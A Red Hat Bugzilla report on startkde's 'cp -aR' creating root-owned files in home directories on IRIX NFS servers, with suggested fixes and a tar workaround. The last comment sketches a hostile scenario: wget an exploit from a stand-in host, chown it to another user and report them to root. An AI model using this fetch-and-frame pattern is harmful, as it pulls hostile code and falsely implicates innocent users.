Red Hat Bugzilla – Bug 40711
/usr/bin/startkde creates files that belong to root
Last modified: 2007-04-18 12:33:15 EDT
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; SunOS 5.8 sun4u)
Description of problem:
My account lives on a Silicon Graphics NFS server. Default kernel setup on
IRIX lets you change the owner of a file as long as you are the owner. It
really does :
$ touch /home/papadopo/foo
$ ls -l /home/papadopo/foo
-rw-r--r-- 1 papadopo tdi 0 May 15 16:29 /home/papadopo/foo
$ chown root:root /home/papadopo/foo
$ -rw-r--r-- 1 root sys 0 May 15 16:29
$ chown papadopo /home/papadopo/foo
/home/papadopo/foo - Operation not permitted
Yes, I know, this is insane. But it's out there and it's a Solaris option
as well (but not the default one). It's probably an option for other NFS
sevrers as well.
Now /usr/bin/startkde contains these lines:
# create necessary directories/files
if [ ! -d $HOME/Desktop -a -d /etc/skel/Desktop ]; then
cp -aR /etc/skel/Desktop $HOME
if [ ! -d $HOME/.kde -a -d /etc/skel/.kde ]; then
cp -aR /etc/skel/.kde $HOME
The effect of -a is that file owners are preserved when possible. It would
be nice to use another option than -a so that the owner of the copied files
is the owner of the account. Maybe just `cp -pR' followed by 'chmod' or
something like that.
Steps to Reproduce:
1. Create an account on an IRIX NFS server
2. Use this account to run KDE from Red Hat Linux 7.1 (using script
3. Have a look at the permissions of $HOME/Desktop
Actual Results: $HOME/Desktop and the files in it belong to root:sys
Expected Results: $HOME/Desktop and the files in it should belong to the
owner of the account
Of course we'll modify the default kernel option of our IRIX NFS servers.
But I thought I'd let you know about this issue nevertheless.
I also have seen this behavior. This is a considerable problem if one does not
have root access (to the NFS server) to change the ownerships.
Note also that KDE *WILL NOT START* if $HOME/.kde and its contents are owned by
root because dcopserver cannot create files in the directory.
Oh, forgot to mention that once the root-owned files are created, users cannot
alter or remove them because the permissions do not allow modification and the
directories in which they exist ($HOME/.kde and $HOME/Desktop) are owned by
root. And, of course, the users cannot remove the directories because they
aren't empty. So once the directories and files are put there, users *MUST*
seek the assistance of systems administration to resolve the problem.
Bad. Very bad. =(
Removing the "-a" flag from the "cp" commands in /usr/bin/startkde appears to
work fine. IMHO, this is also preferable, since "-a" forces "cp" to ignore the
user's umask. I really don't see a good reason for "-a". If there *IS* a good
reason, perhaps "tar" should be used instead of "cp":
tar cfp -C /etc/skel - Desktop | tar xfp -C $HOME -
tar cfp -C /etc/skel - .kde | tar xfp -C $HOME -
"tar" does not appear to exhibit the same ownership problem.
Note that "cp -a" is used to copy ".kderc", and should be addressed, also.
Removing the "-a" flag is a good idea but relying on the user's default umask is
probably not a good idea because the KDE files should be private event though
umask does not enforce that. I'd say copy the files without "-a" but then use
chmod after copying the files. The tar solution sounds good too.
The correct fix is to fix up the NFS server - allowing users to create files
as root is ultimately broken.
tar workaround added in 2.2-0.alpha2.2
Allowing users to create root files is not that broken because it is not a
issue (except that users may be tempted to run a program they know nothing
about on the basis that it belongs to root) and it is the default behaviour on
Unix systems. Anyway the fact is that this behaviour does exist out there and I
appreciate your working around it.
That said, our sysadmin did change our NFS servers so that users cannot chown
to accounts and groups they don't belong to.
It is quite broken.
wget http://evil.crackers.com/exploits/l33t-hax0r-script /tmp/exploit
chown someoneidontlike /tmp/exploit
mail root <<EOF
Hi, looks like someone is trying to crack the system (/tmp/exploit)